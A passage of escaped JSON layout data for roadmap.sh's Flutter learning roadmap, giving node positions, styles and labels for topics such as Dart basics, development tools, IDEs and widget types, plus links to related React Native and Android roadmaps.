\"adCMiccu0p2zrKI-K9aA1\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 110.3618127280065,\n        \"y\": 452.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"3096G0YlAraf2CtJCmy1I\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 100\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 110.3618127280065,\n        \"y\": 452.7051467174066\n      }\n    },\n    {\n      \"id\": \"JqVBp4ISOz4vu49cvE6du\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 601.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 163\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 601.7051467174066\n      }\n    },\n    {\n      \"id\": \"2mGGqg3ycxw4Rd7blYE-Y\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -710.798072051004,\n        \"y\": 118.20514671740659\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 222\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.798072051004,\n        \"y\": 118.20514671740659\n      }\n    },\n    {\n      \"id\": \"4qvR1QQzrmoVIVCAsp92H\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -338.13014709538743,\n        \"y\": 2726.9756347092084\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 87\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -338.13014709538743,\n        \"y\": 2726.9756347092084\n      }\n    },\n    {\n      \"id\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -275.14790096520323,\n        \"y\": -22.691150958118243\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Flutter\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 122,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -275.14790096520323,\n        \"y\": -22.691150958118243\n      }\n    },\n    {\n      \"id\": \"uqyE79OItPOX33E5FoGel\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -224.14790096520323,\n        \"y\": -142.0992517776511\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 115\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -224.14790096520323,\n        \"y\": -142.0992517776511\n      }\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -40.1381872719935,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -40.1381872719935,\n        \"y\": -148.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 361,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -25.138187271993502,\n        \"y\": -62.09925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -25.138187271993502,\n        \"y\": -62.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AubSeLi2nwNTUA-L3Kfn4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -350.14790096520323,\n        \"y\": 151.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Basics of Dart\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"z50iixpcCMe9sTh-gwTI3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -350.14790096520323,\n        \"y\": 151.30884904188176\n      }\n    },\n    {\n      \"id\": \"vR38pAZOfI55R7N7NLY5N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 55.8618127280065,\n        \"y\": 45.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dart Pad\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 55.8618127280065,\n        \"y\": 45.30884904188176\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"O5dely89N5UCMBeUfh8ud\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -607.6301470953874,\n        \"y\": 2604.9756347092084\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continue learning with these following relevant tracks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -607.6301470953874,\n        \"y\": 2604.9756347092084\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 559,\n        \"height\": 122\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"6AIUtChWC_gK8Ax0UuBjd\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -590.8813982277942,\n        \"y\": 2659.621292142318\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React Native\",\n        \"href\": \"https://roadmap.sh/react-native\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"f5WRewBlpeYMf71cPcXs-\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -590.8813982277942,\n        \"y\": 2659.621292142318\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"Rwl7DmMmFBhQ0Q0rvlQud\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -383.13014709538743,\n        \"y\": 2659.621292142318\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Android\",\n        \"href\": \"https://roadmap.sh/android\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"f5WRewBlpeYMf71cPcXs-\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -383.13014709538743,\n        \"y\": 2659.621292142318\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"P-SbMLN-AaNMss_7X0_5N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 55.8618127280065,\n        \"y\": 98.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Variables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 55.8618127280065,\n        \"y\": 98.30884904188176\n      }\n    },\n    {\n      \"id\": \"TT6HoilzgmS8CAPiTTKZ0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 55.8618127280065,\n        \"y\": 151.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Built-in Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 55.8618127280065,\n        \"y\": 151.30884904188176\n      }\n    },\n    {\n      \"id\": \"Pek6vOO-qKCetTznCGv6f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 55.8618127280065,\n        \"y\": 204.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 55.8618127280065,\n        \"y\": 204.30884904188176\n      }\n    },\n    {\n      \"id\": \"Q2S4__BB30KljB7SlquJx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 55.8618127280065,\n        \"y\": 257.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 55.8618127280065,\n        \"y\": 257.3088490418818\n      }\n    },\n    {\n      \"id\": \"keS-4La_a227quDYYbOJT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 55.8618127280065,\n        \"y\": 310.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Control Flow Statements\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 55.8618127280065,\n        \"y\": 310.3088490418818\n      }\n    },\n    {\n      \"id\": \"HCJXVgnglYuRhK0zl3iPG\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -350.14790096520323,\n        \"y\": 204.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Development Environment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"z50iixpcCMe9sTh-gwTI3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -350.14790096520323,\n        \"y\": 204.7051467174066\n      }\n    },\n    {\n      \"id\": \"FrbleiQ4BbIEbR4_v9o8N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 62.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Flutter CLI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"m92WPPeZUIeD8IgunLXe2\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 62.30884904188176\n      }\n    },\n    {\n      \"id\": \"m92WPPeZUIeD8IgunLXe2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -578.4579568300146,\n        \"y\": 62.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"FVM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 80,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -578.4579568300146,\n        \"y\": 62.30884904188176\n      }\n    },\n    {\n      \"id\": \"tg16K0Wjugv4ytayHfgTw\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -631.4579568300146,\n        \"y\": 127.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"IDEs\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 53,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 53,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -631.4579568300146,\n        \"y\": 127.30884904188176\n      }\n    },\n    {\n      \"id\": \"HMDsgljLshA63XX-hhAxV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.4579568300146,\n        \"y\": 169.30884904188179\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"VS Code\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173\n      },\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.4579568300146,\n        \"y\": 169.30884904188179\n      }\n    },\n    {\n      \"id\": \"QHPiMRg4IJXDErrEYamrJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.4579568300146,\n        \"y\": 222.30884904188179\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Android Studio\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173\n      },\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.4579568300146,\n        \"y\": 222.30884904188179\n      }\n    },\n    {\n      \"id\": \"lkABkFigkVzl1x4_8xEZz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.4579568300146,\n        \"y\": 275.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"IntelliJ Idea\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173\n      },\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.4579568300146,\n        \"y\": 275.3088490418818\n      }\n    },\n    {\n      \"id\": \"dy2Jep9hIIECaLutx-3K0\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -350.14790096520323,\n        \"y\": 429.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Widgets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -350.14790096520323,\n        \"y\": 429.3088490418818\n      }\n    },\n    {\n      \"id\": \"lCpJQ8GZp5KhpGO4Sttgu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 376.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Responsive Widgets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242\n      },\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 376.3088490418818\n      }\n    },\n    {\n      \"id\": \"DKt8U-iZcrXU5gWGRONqZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 429.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Inherited Widgets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242\n      },\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 429.3088490418818\n      }\n    },\n    {\n      \"id\": \"e-m4iKuK6NqFaQLE5viNI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 482.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Stateless Widgets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242\n      },\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 482.3088490418818\n      }\n    },\n    {\n      \"id\": \"07tpSQeeMLKggWwdUXAej\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 535.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Stateful Widgets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242\n      },\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 